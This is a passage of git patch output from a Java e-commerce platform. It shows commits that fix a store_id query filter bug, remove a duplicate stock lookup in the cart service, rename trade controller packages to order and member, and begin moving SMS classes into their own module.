=?UTF-8?q?an=E8=BF=99=E4=B8=AA=E6=8E=A5=E5=8F=A3=E4=B8=AD=EF=BC=8C?= =?UTF-8?q?=E8=8E=B7=E5=8F=96=E6=8B=BC=E5=9B=A2=E5=88=97=E8=A1=A8=E6=9F=A5?= =?UTF-8?q?=E8=AF=A2bug=E3=80=82?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- .../lili/modules/promotion/entity/vos/PintuanSearchParams.java | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/framework/src/main/java/cn/lili/modules/promotion/entity/vos/PintuanSearchParams.java b/framework/src/main/java/cn/lili/modules/promotion/entity/vos/PintuanSearchParams.java index 79da0d01..ecff3c29 100644 --- a/framework/src/main/java/cn/lili/modules/promotion/entity/vos/PintuanSearchParams.java +++ b/framework/src/main/java/cn/lili/modules/promotion/entity/vos/PintuanSearchParams.java @@ -55,7 +55,7 @@ public class PintuanSearchParams { queryWrapper.like("store_name", storeName); } if (!StringUtils.isEmpty(storeId)) { - queryWrapper.eq("store_id", storeName); + queryWrapper.eq("store_id", storeId); } if (startTime != null) { queryWrapper.ge("start_time", new Date(startTime)); From d16cf44f4a054b45514f775bd1283a6a4b9f552a Mon Sep 17 00:00:00 2001 From: Chopper Date: Mon, 6 Dec 2021 15:59:13 +0800 Subject: [PATCH 044/145] =?UTF-8?q?=E8=8E=B7=E5=8F=96=E4=B8=A4=E6=AC=A1?= =?UTF-8?q?=E5=95=86=E5=93=81=E5=BA=93=E5=AD=98=E4=BB=A3=E7=A0=81=E4=BC=98?= =?UTF-8?q?=E5=8C=96?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- .../cn/lili/modules/order/cart/service/CartServiceImpl.java | 5 +---- 1 file changed, 1 insertion(+), 4 deletions(-) diff --git a/framework/src/main/java/cn/lili/modules/order/cart/service/CartServiceImpl.java b/framework/src/main/java/cn/lili/modules/order/cart/service/CartServiceImpl.java index d7ff3fc1..3b92d5f1 100644 --- a/framework/src/main/java/cn/lili/modules/order/cart/service/CartServiceImpl.java +++ b/framework/src/main/java/cn/lili/modules/order/cart/service/CartServiceImpl.java @@ -396,11 +396,8 @@ public class CartServiceImpl implements CartService { private void checkSetGoodsQuantity(CartSkuVO cartSkuVO, String skuId, Integer num) { Integer enableStock = goodsSkuService.getStock(skuId); - //读取sku的可用库存 - Integer enableQuantity = goodsSkuService.getStock(skuId); - //如果sku的可用库存小于等于0或者小于用户购买的数量,则不允许购买 - if (enableQuantity <= 0 || enableQuantity < num) { + if (enableStock <= 0 || enableStock < num) { throw new ServiceException(ResultCode.GOODS_SKU_QUANTITY_NOT_ENOUGH); } From 00ffd246a9cfaf48946147a0a50c15583cf5f2ff Mon Sep 17 00:00:00 2001 From: Chopper Date: Mon, 6 Dec 2021 17:45:16 +0800 Subject: [PATCH 045/145] =?UTF-8?q?=E4=B8=9A=E5=8A=A1=E4=BB=A3=E7=A0=81?= =?UTF-8?q?=E6=A8=A1=E5=9D=97trade=E7=BB=9F=E4=B8=80=E6=9B=B4=E5=90=8D?= =?UTF-8?q?=E4=B8=BAorder?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- .../{trade => order}/AfterSaleBuyerController.java | 2 +- .../lili/controller/{trade => order}/CartController.java | 2 +- .../controller/{trade => order}/OrderBuyerController.java | 2 +- .../{trade => order}/OrderComplaintBuyerController.java | 2 +- .../{trade => order}/ReceiptBuyerController.java | 2 +- .../{trade => order}/RechargeTradeBuyerController.java | 2 +- .../{trade => order}/WalletLogBuyerController.java | 2 +- .../lili/controller/common}/IpInfoManagerController.java | 7 +++---- .../{system => member}/mapper/StoreLogisticsMapper.java | 2 +- .../{system => member}/service/StoreLogisticsService.java | 2 +- .../serviceimpl/StoreLogisticsServiceImpl.java | 6 +++--- .../{trade => order}/AfterSaleManagerController.java | 2 +- .../{trade => order}/AfterSaleReasonManagerController.java | 2 +- .../{trade => order}/OrderComplaintManagerController.java | 2 +- .../{trade => order}/OrderLogManagerController.java | 2 +- .../{trade => order}/OrderManagerController.java | 2 +- .../{trade => order}/PaymentLogManagerController.java | 2 +- .../{trade => order}/ReceiptManagerController.java | 2 +- .../{trade => order}/RechargeManagerController.java | 2 +- .../{trade => order}/RefundLogManagerController.java | 2 +- .../{trade => order}/WalletLogManagerController.java | 2 +- .../controller/{trade => member}/BillStoreController.java | 2 +- .../{trade => member}/MemberEvaluationStoreController.java | 2 +- .../{trade => order}/AfterSaleStoreController.java | 2 +- .../{trade => order}/OrderComplaintStoreController.java | 2 +- .../{trade => order}/OrderLogStoreController.java | 2 +- .../controller/{trade => order}/OrderStoreController.java | 4 ++-- .../{trade => order}/ReceiptStoreController.java | 2 +- .../lili/controller/settings/LogisticsStoreController.java | 2 +- 29 files changed, 34 insertions(+), 35 deletions(-) rename buyer-api/src/main/java/cn/lili/controller/{trade => order}/AfterSaleBuyerController.java (99%) rename buyer-api/src/main/java/cn/lili/controller/{trade => order}/CartController.java (99%) rename buyer-api/src/main/java/cn/lili/controller/{trade => order}/OrderBuyerController.java (99%) rename buyer-api/src/main/java/cn/lili/controller/{trade => order}/OrderComplaintBuyerController.java (99%) rename buyer-api/src/main/java/cn/lili/controller/{trade => order}/ReceiptBuyerController.java (97%) rename buyer-api/src/main/java/cn/lili/controller/{trade => order}/RechargeTradeBuyerController.java (98%) rename buyer-api/src/main/java/cn/lili/controller/{trade => order}/WalletLogBuyerController.java (97%) rename {manager-api/src/main/java/cn/lili/controller/member => common-api/src/main/java/cn/lili/controller/common}/IpInfoManagerController.java (89%) rename framework/src/main/java/cn/lili/modules/{system => member}/mapper/StoreLogisticsMapper.java (97%) rename framework/src/main/java/cn/lili/modules/{system => member}/service/StoreLogisticsService.java (96%) rename framework/src/main/java/cn/lili/modules/{system => member}/serviceimpl/StoreLogisticsServiceImpl.java (91%) rename manager-api/src/main/java/cn/lili/controller/{trade => order}/AfterSaleManagerController.java (99%) rename manager-api/src/main/java/cn/lili/controller/{trade => order}/AfterSaleReasonManagerController.java (98%) rename manager-api/src/main/java/cn/lili/controller/{trade => order}/OrderComplaintManagerController.java (99%) rename manager-api/src/main/java/cn/lili/controller/{trade => order}/OrderLogManagerController.java (98%) rename manager-api/src/main/java/cn/lili/controller/{trade => order}/OrderManagerController.java (99%) rename manager-api/src/main/java/cn/lili/controller/{trade => order}/PaymentLogManagerController.java (97%) rename manager-api/src/main/java/cn/lili/controller/{trade => order}/ReceiptManagerController.java (97%) rename manager-api/src/main/java/cn/lili/controller/{trade => order}/RechargeManagerController.java (97%) rename manager-api/src/main/java/cn/lili/controller/{trade => order}/RefundLogManagerController.java (98%) rename manager-api/src/main/java/cn/lili/controller/{trade => order}/WalletLogManagerController.java (97%) rename seller-api/src/main/java/cn/lili/controller/{trade => member}/BillStoreController.java (99%) rename seller-api/src/main/java/cn/lili/controller/{trade => member}/MemberEvaluationStoreController.java (98%) rename seller-api/src/main/java/cn/lili/controller/{trade => order}/AfterSaleStoreController.java (99%) rename seller-api/src/main/java/cn/lili/controller/{trade => order}/OrderComplaintStoreController.java (99%) rename seller-api/src/main/java/cn/lili/controller/{trade => order}/OrderLogStoreController.java (97%) rename seller-api/src/main/java/cn/lili/controller/{trade => order}/OrderStoreController.java (98%) rename seller-api/src/main/java/cn/lili/controller/{trade => order}/ReceiptStoreController.java (98%) diff --git a/buyer-api/src/main/java/cn/lili/controller/trade/AfterSaleBuyerController.java b/buyer-api/src/main/java/cn/lili/controller/order/AfterSaleBuyerController.java similarity index 99% rename from buyer-api/src/main/java/cn/lili/controller/trade/AfterSaleBuyerController.java rename to buyer-api/src/main/java/cn/lili/controller/order/AfterSaleBuyerController.java index 6ede0418..4f420609 100644 --- a/buyer-api/src/main/java/cn/lili/controller/trade/AfterSaleBuyerController.java +++ b/buyer-api/src/main/java/cn/lili/controller/order/AfterSaleBuyerController.java @@ -1,4 +1,4 @@ -package cn.lili.controller.trade; +package cn.lili.controller.order; import cn.lili.common.enums.ResultUtil; import cn.lili.common.vo.ResultMessage; diff --git a/buyer-api/src/main/java/cn/lili/controller/trade/CartController.java b/buyer-api/src/main/java/cn/lili/controller/order/CartController.java similarity index 99% rename from buyer-api/src/main/java/cn/lili/controller/trade/CartController.java rename to buyer-api/src/main/java/cn/lili/controller/order/CartController.java index 46b1107a..0e1cc019 100644 --- a/buyer-api/src/main/java/cn/lili/controller/trade/CartController.java +++ b/buyer-api/src/main/java/cn/lili/controller/order/CartController.java @@ -1,4 +1,4 @@ -package cn.lili.controller.trade; +package cn.lili.controller.order; import cn.lili.common.enums.ResultCode; import cn.lili.common.exception.ServiceException; diff --git a/buyer-api/src/main/java/cn/lili/controller/trade/OrderBuyerController.java b/buyer-api/src/main/java/cn/lili/controller/order/OrderBuyerController.java similarity index 99% rename from buyer-api/src/main/java/cn/lili/controller/trade/OrderBuyerController.java rename to buyer-api/src/main/java/cn/lili/controller/order/OrderBuyerController.java index 4e945822..b1f1ecbd 100644 --- a/buyer-api/src/main/java/cn/lili/controller/trade/OrderBuyerController.java +++ b/buyer-api/src/main/java/cn/lili/controller/order/OrderBuyerController.java @@ -1,4 +1,4 @@ -package cn.lili.controller.trade; +package cn.lili.controller.order; import cn.lili.common.enums.ResultCode; import cn.lili.common.enums.ResultUtil; diff --git a/buyer-api/src/main/java/cn/lili/controller/trade/OrderComplaintBuyerController.java b/buyer-api/src/main/java/cn/lili/controller/order/OrderComplaintBuyerController.java similarity index 99% rename from buyer-api/src/main/java/cn/lili/controller/trade/OrderComplaintBuyerController.java rename to buyer-api/src/main/java/cn/lili/controller/order/OrderComplaintBuyerController.java index c05fd886..65528b0d 100644 --- a/buyer-api/src/main/java/cn/lili/controller/trade/OrderComplaintBuyerController.java +++ b/buyer-api/src/main/java/cn/lili/controller/order/OrderComplaintBuyerController.java @@ -1,4 +1,4 @@ -package cn.lili.controller.trade; +package cn.lili.controller.order; import cn.lili.common.enums.ResultUtil; import cn.lili.common.security.AuthUser; diff --git a/buyer-api/src/main/java/cn/lili/controller/trade/ReceiptBuyerController.java b/buyer-api/src/main/java/cn/lili/controller/order/ReceiptBuyerController.java similarity index 97% rename from buyer-api/src/main/java/cn/lili/controller/trade/ReceiptBuyerController.java rename to buyer-api/src/main/java/cn/lili/controller/order/ReceiptBuyerController.java index 220e3520..c707c2ea 100644 --- a/buyer-api/src/main/java/cn/lili/controller/trade/ReceiptBuyerController.java +++ b/buyer-api/src/main/java/cn/lili/controller/order/ReceiptBuyerController.java @@ -1,4 +1,4 @@ -package cn.lili.controller.trade; +package cn.lili.controller.order; import cn.lili.common.enums.ResultUtil; import cn.lili.common.vo.PageVO; diff --git a/buyer-api/src/main/java/cn/lili/controller/trade/RechargeTradeBuyerController.java b/buyer-api/src/main/java/cn/lili/controller/order/RechargeTradeBuyerController.java similarity index 98% rename from buyer-api/src/main/java/cn/lili/controller/trade/RechargeTradeBuyerController.java rename to buyer-api/src/main/java/cn/lili/controller/order/RechargeTradeBuyerController.java index ed017607..81c38bb2 100644 --- a/buyer-api/src/main/java/cn/lili/controller/trade/RechargeTradeBuyerController.java +++ b/buyer-api/src/main/java/cn/lili/controller/order/RechargeTradeBuyerController.java @@ -1,4 +1,4 @@ -package cn.lili.controller.trade; +package cn.lili.controller.order; import cn.lili.common.enums.ResultUtil; import cn.lili.common.vo.ResultMessage; diff --git a/buyer-api/src/main/java/cn/lili/controller/trade/WalletLogBuyerController.java b/buyer-api/src/main/java/cn/lili/controller/order/WalletLogBuyerController.java similarity index 97% rename from buyer-api/src/main/java/cn/lili/controller/trade/WalletLogBuyerController.java rename to buyer-api/src/main/java/cn/lili/controller/order/WalletLogBuyerController.java index 79d987d9..70ebd2c0 100644 --- a/buyer-api/src/main/java/cn/lili/controller/trade/WalletLogBuyerController.java +++ b/buyer-api/src/main/java/cn/lili/controller/order/WalletLogBuyerController.java @@ -1,4 +1,4 @@ -package cn.lili.controller.trade; +package cn.lili.controller.order; import cn.lili.common.enums.ResultUtil; import cn.lili.common.security.AuthUser; diff --git a/manager-api/src/main/java/cn/lili/controller/member/IpInfoManagerController.java b/common-api/src/main/java/cn/lili/controller/common/IpInfoManagerController.java similarity index 89% rename from manager-api/src/main/java/cn/lili/controller/member/IpInfoManagerController.java rename to common-api/src/main/java/cn/lili/controller/common/IpInfoManagerController.java index 77881b55..3cd05c75 100644 --- a/manager-api/src/main/java/cn/lili/controller/member/IpInfoManagerController.java +++ b/common-api/src/main/java/cn/lili/controller/common/IpInfoManagerController.java @@ -1,4 +1,4 @@ -package cn.lili.controller.member; +package cn.lili.controller.common; import cn.lili.common.utils.IpHelper; import cn.lili.common.enums.ResultUtil; @@ -19,8 +19,8 @@ import javax.servlet.http.HttpServletRequest; * @since 2020-02-25 14:10:16 */ @RestController -@Api(tags = "管理端,IP接口") -@RequestMapping("/manager/common/ip") +@Api(tags = "获取IP信息以及天气") +@RequestMapping("/common/ip") public class IpInfoManagerController { @Autowired private IpHelper ipHelper; @@ -28,7 +28,6 @@ public class IpInfoManagerController { @RequestMapping(value = "/info", method = RequestMethod.GET) @ApiOperation(value = "IP及天气相关信息") public ResultMessage upload(HttpServletRequest request) { - String result = ipHelper.getIpCity(request); return ResultUtil.data(result); } diff --git a/framework/src/main/java/cn/lili/modules/system/mapper/StoreLogisticsMapper.java b/framework/src/main/java/cn/lili/modules/member/mapper/StoreLogisticsMapper.java similarity index 97% rename from framework/src/main/java/cn/lili/modules/system/mapper/StoreLogisticsMapper.java rename to framework/src/main/java/cn/lili/modules/member/mapper/StoreLogisticsMapper.java index 3c5e8a0a..b37dfa80 100644 --- a/framework/src/main/java/cn/lili/modules/system/mapper/StoreLogisticsMapper.java +++ b/framework/src/main/java/cn/lili/modules/member/mapper/StoreLogisticsMapper.java @@ -1,4 +1,4 @@ -package cn.lili.modules.system.mapper; +package cn.lili.modules.member.mapper; import cn.lili.modules.store.entity.dos.StoreLogistics; import cn.lili.modules.system.entity.vo.StoreLogisticsVO; diff --git a/framework/src/main/java/cn/lili/modules/system/service/StoreLogisticsService.java b/framework/src/main/java/cn/lili/modules/member/service/StoreLogisticsService.java similarity index 96% rename from framework/src/main/java/cn/lili/modules/system/service/StoreLogisticsService.java rename to framework/src/main/java/cn/lili/modules/member/service/StoreLogisticsService.java index 971d1ceb..ea7914de 100644 --- a/framework/src/main/java/cn/lili/modules/system/service/StoreLogisticsService.java +++ b/framework/src/main/java/cn/lili/modules/member/service/StoreLogisticsService.java @@ -1,4 +1,4 @@ -package cn.lili.modules.system.service; +package cn.lili.modules.member.service; import cn.lili.modules.store.entity.dos.StoreLogistics; import cn.lili.modules.system.entity.vo.StoreLogisticsVO; diff --git a/framework/src/main/java/cn/lili/modules/system/serviceimpl/StoreLogisticsServiceImpl.java b/framework/src/main/java/cn/lili/modules/member/serviceimpl/StoreLogisticsServiceImpl.java similarity index 91% rename from framework/src/main/java/cn/lili/modules/system/serviceimpl/StoreLogisticsServiceImpl.java rename to framework/src/main/java/cn/lili/modules/member/serviceimpl/StoreLogisticsServiceImpl.java index 3f91a3cd..2f9ddeb0 100644 --- a/framework/src/main/java/cn/lili/modules/system/serviceimpl/StoreLogisticsServiceImpl.java +++ b/framework/src/main/java/cn/lili/modules/member/serviceimpl/StoreLogisticsServiceImpl.java @@ -1,9 +1,9 @@ -package cn.lili.modules.system.serviceimpl; +package cn.lili.modules.member.serviceimpl; import cn.lili.modules.store.entity.dos.StoreLogistics; import cn.lili.modules.system.entity.vo.StoreLogisticsVO; -import cn.lili.modules.system.mapper.StoreLogisticsMapper; -import cn.lili.modules.system.service.StoreLogisticsService; +import cn.lili.modules.member.mapper.StoreLogisticsMapper; +import cn.lili.modules.member.service.StoreLogisticsService; import com.baomidou.mybatisplus.core.conditions.query.LambdaQueryWrapper; import com.baomidou.mybatisplus.core.toolkit.Wrappers; import com.baomidou.mybatisplus.extension.service.impl.ServiceImpl; diff --git a/manager-api/src/main/java/cn/lili/controller/trade/AfterSaleManagerController.java b/manager-api/src/main/java/cn/lili/controller/order/AfterSaleManagerController.java similarity index 99% rename from manager-api/src/main/java/cn/lili/controller/trade/AfterSaleManagerController.java rename to manager-api/src/main/java/cn/lili/controller/order/AfterSaleManagerController.java index 72c3e1cd..42a16ecd 100644 --- a/manager-api/src/main/java/cn/lili/controller/trade/AfterSaleManagerController.java +++ b/manager-api/src/main/java/cn/lili/controller/order/AfterSaleManagerController.java @@ -1,4 +1,4 @@ -package cn.lili.controller.trade; +package cn.lili.controller.order; import cn.lili.common.enums.ResultUtil; import cn.lili.common.vo.ResultMessage; diff --git a/manager-api/src/main/java/cn/lili/controller/trade/AfterSaleReasonManagerController.java b/manager-api/src/main/java/cn/lili/controller/order/AfterSaleReasonManagerController.java similarity index 98% rename from manager-api/src/main/java/cn/lili/controller/trade/AfterSaleReasonManagerController.java rename to manager-api/src/main/java/cn/lili/controller/order/AfterSaleReasonManagerController.java index 34008297..75a3a54a 100644 --- a/manager-api/src/main/java/cn/lili/controller/trade/AfterSaleReasonManagerController.java +++ b/manager-api/src/main/java/cn/lili/controller/order/AfterSaleReasonManagerController.java @@ -1,4 +1,4 @@ -package cn.lili.controller.trade; +package cn.lili.controller.order; import cn.lili.common.enums.ResultUtil; import cn.lili.common.vo.PageVO; diff --git a/manager-api/src/main/java/cn/lili/controller/trade/OrderComplaintManagerController.java b/manager-api/src/main/java/cn/lili/controller/order/OrderComplaintManagerController.java similarity index 99% rename from manager-api/src/main/java/cn/lili/controller/trade/OrderComplaintManagerController.java rename to manager-api/src/main/java/cn/lili/controller/order/OrderComplaintManagerController.java index 68c7c69f..a2a64ecc 100644 --- a/manager-api/src/main/java/cn/lili/controller/trade/OrderComplaintManagerController.java +++ b/manager-api/src/main/java/cn/lili/controller/order/OrderComplaintManagerController.java @@ -1,4 +1,4 @@ -package cn.lili.controller.trade; +package cn.lili.controller.order; import cn.lili.common.enums.ResultUtil; import cn.lili.common.security.AuthUser; diff --git a/manager-api/src/main/java/cn/lili/controller/trade/OrderLogManagerController.java b/manager-api/src/main/java/cn/lili/controller/order/OrderLogManagerController.java similarity index 98% rename from manager-api/src/main/java/cn/lili/controller/trade/OrderLogManagerController.java rename to manager-api/src/main/java/cn/lili/controller/order/OrderLogManagerController.java index 401461e2..2185ae34 100644 --- a/manager-api/src/main/java/cn/lili/controller/trade/OrderLogManagerController.java +++ b/manager-api/src/main/java/cn/lili/controller/order/OrderLogManagerController.java @@ -1,4 +1,4 @@ -package cn.lili.controller.trade; +package cn.lili.controller.order; import cn.lili.mybatis.util.PageUtil; import cn.lili.common.enums.ResultUtil; diff --git a/manager-api/src/main/java/cn/lili/controller/trade/OrderManagerController.java b/manager-api/src/main/java/cn/lili/controller/order/OrderManagerController.java similarity index 99% rename from manager-api/src/main/java/cn/lili/controller/trade/OrderManagerController.java rename to manager-api/src/main/java/cn/lili/controller/order/OrderManagerController.java index 27c7faa1..2f7dedfc 100644 --- a/manager-api/src/main/java/cn/lili/controller/trade/OrderManagerController.java +++ b/manager-api/src/main/java/cn/lili/controller/order/OrderManagerController.java @@ -1,4 +1,4 @@ -package cn.lili.controller.trade; +package cn.lili.controller.order; import cn.lili.common.enums.ResultUtil; import cn.lili.common.vo.ResultMessage; diff --git a/manager-api/src/main/java/cn/lili/controller/trade/PaymentLogManagerController.java b/manager-api/src/main/java/cn/lili/controller/order/PaymentLogManagerController.java similarity index 97% rename from manager-api/src/main/java/cn/lili/controller/trade/PaymentLogManagerController.java rename to manager-api/src/main/java/cn/lili/controller/order/PaymentLogManagerController.java index 48a58eb4..f122cd0c 100644 --- a/manager-api/src/main/java/cn/lili/controller/trade/PaymentLogManagerController.java +++ b/manager-api/src/main/java/cn/lili/controller/order/PaymentLogManagerController.java @@ -1,4 +1,4 @@ -package cn.lili.controller.trade; +package cn.lili.controller.order; import cn.lili.mybatis.util.PageUtil; import cn.lili.common.enums.ResultUtil; diff --git a/manager-api/src/main/java/cn/lili/controller/trade/ReceiptManagerController.java b/manager-api/src/main/java/cn/lili/controller/order/ReceiptManagerController.java similarity index 97% rename from manager-api/src/main/java/cn/lili/controller/trade/ReceiptManagerController.java rename to manager-api/src/main/java/cn/lili/controller/order/ReceiptManagerController.java index 984ad00c..3d0026b1 100644 --- a/manager-api/src/main/java/cn/lili/controller/trade/ReceiptManagerController.java +++ b/manager-api/src/main/java/cn/lili/controller/order/ReceiptManagerController.java @@ -1,4 +1,4 @@ -package cn.lili.controller.trade; +package cn.lili.controller.order; import cn.lili.common.enums.ResultUtil; import cn.lili.common.vo.PageVO; diff --git a/manager-api/src/main/java/cn/lili/controller/trade/RechargeManagerController.java b/manager-api/src/main/java/cn/lili/controller/order/RechargeManagerController.java similarity index 97% rename from manager-api/src/main/java/cn/lili/controller/trade/RechargeManagerController.java rename to manager-api/src/main/java/cn/lili/controller/order/RechargeManagerController.java index ea5939fa..282468b4 100644 --- a/manager-api/src/main/java/cn/lili/controller/trade/RechargeManagerController.java +++ b/manager-api/src/main/java/cn/lili/controller/order/RechargeManagerController.java @@ -1,4 +1,4 @@ -package cn.lili.controller.trade; +package cn.lili.controller.order; import cn.lili.common.enums.ResultUtil; import cn.lili.common.vo.PageVO; diff --git a/manager-api/src/main/java/cn/lili/controller/trade/RefundLogManagerController.java b/manager-api/src/main/java/cn/lili/controller/order/RefundLogManagerController.java similarity index 98% rename from manager-api/src/main/java/cn/lili/controller/trade/RefundLogManagerController.java rename to manager-api/src/main/java/cn/lili/controller/order/RefundLogManagerController.java index 597e69d5..86c4ab16 100644 --- a/manager-api/src/main/java/cn/lili/controller/trade/RefundLogManagerController.java +++ b/manager-api/src/main/java/cn/lili/controller/order/RefundLogManagerController.java @@ -1,4 +1,4 @@ -package cn.lili.controller.trade; +package cn.lili.controller.order; import cn.lili.common.enums.ResultUtil; import cn.lili.common.vo.PageVO; diff --git a/manager-api/src/main/java/cn/lili/controller/trade/WalletLogManagerController.java b/manager-api/src/main/java/cn/lili/controller/order/WalletLogManagerController.java similarity index 97% rename from manager-api/src/main/java/cn/lili/controller/trade/WalletLogManagerController.java rename to manager-api/src/main/java/cn/lili/controller/order/WalletLogManagerController.java index 57157e87..dcac39a5 100644 --- a/manager-api/src/main/java/cn/lili/controller/trade/WalletLogManagerController.java +++ b/manager-api/src/main/java/cn/lili/controller/order/WalletLogManagerController.java @@ -1,4 +1,4 @@ -package cn.lili.controller.trade; +package cn.lili.controller.order; import cn.lili.common.enums.ResultUtil; import cn.lili.common.vo.PageVO; diff --git a/seller-api/src/main/java/cn/lili/controller/trade/BillStoreController.java b/seller-api/src/main/java/cn/lili/controller/member/BillStoreController.java similarity index 99% rename from seller-api/src/main/java/cn/lili/controller/trade/BillStoreController.java rename to seller-api/src/main/java/cn/lili/controller/member/BillStoreController.java index 1fceef4b..260448b8 100644 --- a/seller-api/src/main/java/cn/lili/controller/trade/BillStoreController.java +++ b/seller-api/src/main/java/cn/lili/controller/member/BillStoreController.java @@ -1,4 +1,4 @@ -package cn.lili.controller.trade; +package cn.lili.controller.member; import cn.lili.common.context.ThreadContextHolder; import cn.lili.common.enums.ResultUtil; diff --git a/seller-api/src/main/java/cn/lili/controller/trade/MemberEvaluationStoreController.java b/seller-api/src/main/java/cn/lili/controller/member/MemberEvaluationStoreController.java similarity index 98% rename from seller-api/src/main/java/cn/lili/controller/trade/MemberEvaluationStoreController.java rename to seller-api/src/main/java/cn/lili/controller/member/MemberEvaluationStoreController.java index 3c320774..b0b6a2c3 100644 --- a/seller-api/src/main/java/cn/lili/controller/trade/MemberEvaluationStoreController.java +++ b/seller-api/src/main/java/cn/lili/controller/member/MemberEvaluationStoreController.java @@ -1,4 +1,4 @@ -package cn.lili.controller.trade; +package cn.lili.controller.member; import cn.lili.common.enums.ResultUtil; import cn.lili.common.security.context.UserContext; diff --git a/seller-api/src/main/java/cn/lili/controller/trade/AfterSaleStoreController.java b/seller-api/src/main/java/cn/lili/controller/order/AfterSaleStoreController.java similarity index 99% rename from seller-api/src/main/java/cn/lili/controller/trade/AfterSaleStoreController.java rename to seller-api/src/main/java/cn/lili/controller/order/AfterSaleStoreController.java index 0acdff5b..84982de2 100644 --- a/seller-api/src/main/java/cn/lili/controller/trade/AfterSaleStoreController.java +++ b/seller-api/src/main/java/cn/lili/controller/order/AfterSaleStoreController.java @@ -1,4 +1,4 @@ -package cn.lili.controller.trade; +package cn.lili.controller.order; import cn.lili.common.enums.ResultUtil; import cn.lili.common.security.context.UserContext; diff --git a/seller-api/src/main/java/cn/lili/controller/trade/OrderComplaintStoreController.java b/seller-api/src/main/java/cn/lili/controller/order/OrderComplaintStoreController.java similarity index 99% rename from seller-api/src/main/java/cn/lili/controller/trade/OrderComplaintStoreController.java rename to seller-api/src/main/java/cn/lili/controller/order/OrderComplaintStoreController.java index 2be516ae..6c86d87c 100644 --- a/seller-api/src/main/java/cn/lili/controller/trade/OrderComplaintStoreController.java +++ b/seller-api/src/main/java/cn/lili/controller/order/OrderComplaintStoreController.java @@ -1,4 +1,4 @@ -package cn.lili.controller.trade; +package cn.lili.controller.order; import cn.lili.common.enums.ResultUtil; import cn.lili.common.security.AuthUser; diff --git a/seller-api/src/main/java/cn/lili/controller/trade/OrderLogStoreController.java b/seller-api/src/main/java/cn/lili/controller/order/OrderLogStoreController.java similarity index 97% rename from seller-api/src/main/java/cn/lili/controller/trade/OrderLogStoreController.java rename to seller-api/src/main/java/cn/lili/controller/order/OrderLogStoreController.java index eb10a898..35407c52 100644 --- a/seller-api/src/main/java/cn/lili/controller/trade/OrderLogStoreController.java +++ b/seller-api/src/main/java/cn/lili/controller/order/OrderLogStoreController.java @@ -1,4 +1,4 @@ -package cn.lili.controller.trade; +package cn.lili.controller.order; import cn.lili.common.enums.ResultUtil; import cn.lili.common.vo.ResultMessage; diff --git a/seller-api/src/main/java/cn/lili/controller/trade/OrderStoreController.java b/seller-api/src/main/java/cn/lili/controller/order/OrderStoreController.java similarity index 98% rename from seller-api/src/main/java/cn/lili/controller/trade/OrderStoreController.java rename to seller-api/src/main/java/cn/lili/controller/order/OrderStoreController.java index fe6cfec6..69f72897 100644 --- a/seller-api/src/main/java/cn/lili/controller/trade/OrderStoreController.java +++ b/seller-api/src/main/java/cn/lili/controller/order/OrderStoreController.java @@ -1,4 +1,4 @@ -package cn.lili.controller.trade; +package cn.lili.controller.order; import cn.lili.common.context.ThreadContextHolder; import cn.lili.common.enums.ResultCode; @@ -12,7 +12,7 @@ import cn.lili.modules.order.order.entity.vo.OrderDetailVO; import cn.lili.modules.order.order.entity.vo.OrderSimpleVO; import cn.lili.modules.order.order.service.OrderPriceService; import cn.lili.modules.order.order.service.OrderService; -import cn.lili.modules.system.service.StoreLogisticsService; +import cn.lili.modules.member.service.StoreLogisticsService; import cn.lili.common.security.OperationalJudgment; import com.baomidou.mybatisplus.core.metadata.IPage; import io.swagger.annotations.Api; diff --git a/seller-api/src/main/java/cn/lili/controller/trade/ReceiptStoreController.java b/seller-api/src/main/java/cn/lili/controller/order/ReceiptStoreController.java similarity index 98% rename from seller-api/src/main/java/cn/lili/controller/trade/ReceiptStoreController.java rename to seller-api/src/main/java/cn/lili/controller/order/ReceiptStoreController.java index 25af43dc..4bb02c3c 100644 --- a/seller-api/src/main/java/cn/lili/controller/trade/ReceiptStoreController.java +++ b/seller-api/src/main/java/cn/lili/controller/order/ReceiptStoreController.java @@ -1,4 +1,4 @@ -package cn.lili.controller.trade; +package cn.lili.controller.order; import cn.lili.common.enums.ResultUtil; import cn.lili.common.security.context.UserContext; diff --git a/seller-api/src/main/java/cn/lili/controller/settings/LogisticsStoreController.java b/seller-api/src/main/java/cn/lili/controller/settings/LogisticsStoreController.java index 188db0ce..bfb96840 100644 --- a/seller-api/src/main/java/cn/lili/controller/settings/LogisticsStoreController.java +++ b/seller-api/src/main/java/cn/lili/controller/settings/LogisticsStoreController.java @@ -6,7 +6,7 @@ import cn.lili.common.security.context.UserContext; import cn.lili.common.vo.ResultMessage; import cn.lili.modules.store.entity.dos.StoreLogistics; import cn.lili.modules.system.entity.vo.StoreLogisticsVO; -import cn.lili.modules.system.service.StoreLogisticsService; +import cn.lili.modules.member.service.StoreLogisticsService; import com.baomidou.mybatisplus.core.conditions.query.LambdaQueryWrapper; import io.swagger.annotations.Api; import io.swagger.annotations.ApiImplicitParam; From b8b14df39b224421e04d94dbafd0a7dc38ecc3b2 Mon Sep 17 00:00:00 2001 From: Chopper Date: Tue, 7 Dec 2021 04:12:51 +0800 Subject: [PATCH 046/145] =?UTF-8?q?message=E6=A8=A1=E5=9D=97=E6=8B=86?= =?UTF-8?q?=E7=A6=BB=E4=BC=98=E5=8C=96?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- .../connect/MiniProgramBuyerController.java | 6 +++--- .../MemberReceiptController.java | 2 +- .../WalletLogBuyerController.java | 2 +- .../lili/event/impl/WechatMessageExecute.java | 2 +- .../listener/NoticeSendMessageListener.java | 2 +- .../statistics/MemberStatisticsExecute.java | 17 ----------------- .../goods/util/WechatLivePlayerUtil.java | 2 +- .../modules/goods/util/WechatMediaUtil.java | 2 +- .../{message => sms}/entity/dos/SmsReach.java | 2 +- .../{message => sms}/entity/dos/SmsSign.java | 2 +- .../entity/dos/SmsTemplate.java | 2 +- .../entity/dto/SmsReachDTO.java | 4 ++-- .../{message => sms}/mapper/SmsReachMapper.java | 4 ++-- .../{message => sms}/mapper/SmsSignMapper.java | 4 ++-- .../mapper/SmsTemplateMapper.java | 4 ++-- .../service/SmsReachService.java | 4 ++-- .../service/SmsSignService.java | 4 ++-- .../service/SmsTemplateService.java 